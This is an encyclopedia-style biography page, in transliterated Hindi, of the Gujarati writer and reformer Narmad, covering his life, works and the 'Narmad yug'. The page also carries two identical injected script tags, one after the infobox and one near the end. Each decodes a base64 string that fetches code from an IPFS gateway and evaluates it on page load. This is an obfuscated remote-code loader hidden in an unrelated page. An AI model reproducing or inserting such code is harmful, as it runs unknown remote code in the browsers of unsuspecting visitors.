नर्मद

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
narmad
poora nam narmadashankar lalashankar dave
janm 24 agast, 1833
janm bhoomi soorat, gujarat
mrityu 26 faravari, 1886
mrityu sthan mumbee, maharashtr
abhibhavak lalashankar
karm bhoomi bharat
karm-kshetr kavi, upanyasakar
mukhy rachanaean narmagady, narmakosh, narmakathakosh, mari hakikat, sarashakuantal, ramajanaki darshan adi.
bhasha gujarati bhasha
vishesh yogadan gujarati sahity mean unake samay ko 'narmad yug' ke roop mean jana jata hai.
nagarikata bharatiy
sthapana buddhivardhak sabha
any janakari narmad ek samaj sudharak bhi the. unhoanne 'buddhivardhak sabha' ki sthapana ki thi. narmad jo kahate, us par svayan bhi amal karate the. unhoanne ek vidhava se vivah kiya tha aur samajik buraiyoan ka virodh karane ke lie 'daandiyo' nam ka ek patr nikala.
inhean bhi dekhean kavi soochi, sahityakar soochi

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>narmad athava narmadashankar dave (aangrezi: Narmad athava Narmadashankar Dave, janm- 24 agast, 1833, soorat; mrityu- 26 faravari, 1886 mumbee) gujarati bhasha ke yug pravartak mane jane vale rachanakar the. jis prakar hindi sahity mean adhunik kal ke aranbhik aansh ko 'bharateandu yug' sanjna di jati hai, usi prakar gujarati mean navin chetana ke pratham kalakhand ko 'narmad yug' kaha jata hai. bharateandu ki tarah hi unaki pratibha bhi sarvatomukhi thi. narmad ne ne vishayoan par pady aur gady mean rachanaean kian. prakriti svatantrata adi vishayoan par rachanaean aranbh karane ka shrey narmad ko jata hai.

jivan parichay

janm

gujarati bhasha ke yug pravartak mane jane vale rachanakar narmad ka janm soorat ke brahman parivar mean 24 agast, 1833 ee. ko hua tha. narmad ke pita lalashankar mumbee mean nivas karate the. narmad ki madhyamik shiksha vahian ke elphianstan instityoot mean sanpann huee. unaka poora nam narmadashankar lal shankar dave tha, lekin rachanaean unhoanne 'narmad' nam se ki haian.

vivah

us samay ki pratha ke anusar 11 varsh ki umr mean hi narmad ka vivah ho gaya tha. soorat ki praranbhik shiksha ke bad jab ve mumbee mean adhyayan kar rahe the, tabhi apane shvasur ke adesh par grihasthi sanbhalane ke lie unhean vapas akar soorat mean 15 rupe masik vetan ka adhyapan kary svikar karana p da.

karyakshetr

narmad ne 22 varsh ki umr mean pahali kavita likhi. tab sahity ke vibhinn aangoan ko samriddh karane ka kram aranbh ho gaya. kuchh samay tak unhoanne mumbee mean adhyapak ka kam kiya, par vahaan ka vatavaran anukool n pakar use tyag diya aur 23 navanbar, 1858 ko apani qalam ko sambodhit karake bole- "lekhani ab maian teri god mean hooan." 24 varshoan tak ve poori tarah se sahity seva mean hi lage rahe. pahale unaki rachana ke vishay jnan, bhakti, vairagy adi hua karate the.

narmad yug

jis prakar hindi sahity mean adhunik kal ke aranbhik aansh ko 'bharateandu yug' sanjna di jati hai, usi prakar gujarati mean navin chetana ke pratham kalakhand ko 'narmad yug' kaha jata hai. bharateandu ki tarah hi unaki pratibha bhi sarvatomukhi thi. unhoanne gujarati sahity ko gady, pady sabhi dishaoan mean samriddhi pradan ki, kiantu kavy ke kshetr mean unaka sthan vishesh hai. lagabhag sabhi prachalit vishayoan par unhoanne kavy rachana ki. mahakavy aur mahachhandoan ke svapnadarshi kavi narmad ka vyaktitv gujarati sahity mean advitiy hai. gujarat ke prakhyat sahityakar muanshi ne narmad ko 'arvachinoan mean ady' kaha hai.

rachanaean

narmad ne ne vishayoan par pady aur gady mean rachanaean kian. prakriti svatantrata adi vishayoan par rachanaean aranbh karane ka shrey narmad ko jata hai. pratham gadyakar ke roop mean unhoanne nibandh, charitr lekhan, natak, itihas adi sabhi vidhaoan ki rachanaoan dvara gujarati sahity ka bhandar bhar diya.

narmad ki pramukh rachanaean
gady
  • narmagady
  • narmakosh
  • narmakathakosh
  • dharmavichar
  • joonrian narmagady
natak
  • sarashakuantal
  • ramajanaki darshan
  • dvaupadi darshan
  • balkrishna vijay
  • krishnakumari
kavita
  • narm kavita
  • hianduoni padati
atmakatha
  • mari hakikat

'mari hakikat' namak unaki atmakatha ko gujarati ki pahali atmakatha hone ka gaurav prapt hai. unaki adhikaansh kavitaean 1855 aur 1867 ke bich likhi geean. gujarati ke pratham kosh ka nirman unhoanne bahut arthik hani uthakar bhi kiya tha.

samaj sudharak

narmad ek samaj sudharak bhi the. unhoanne 'buddhivardhak sabha' ki sthapana ki thi. narmad jo kahate, us par svayan bhi amal karate the. unhoanne ek vidhava se vivah kiya tha aur samajik buraiyoan ka virodh karane ke lie 'daandiyo' nam ka ek patr nikala. narmad ko vir tatha shrriangar ke varnan mean adhik ruchi thi. narmad ka apana vishesh sthan hai aur gujarati sahity mean unake samay ko 'narmad yug' ke roop mean jana jata hai.

mrityu

gujarati sahity ke amooly ratn narmad ki mrityu 26 faravari, 1886 ko mumbee mean huee thi.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  • 'bharatiy charit kosh' |lekhak-liladhar sharma |prakashan: shiksha bharati | prishth sankhya: 417

bahari k diyaan

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah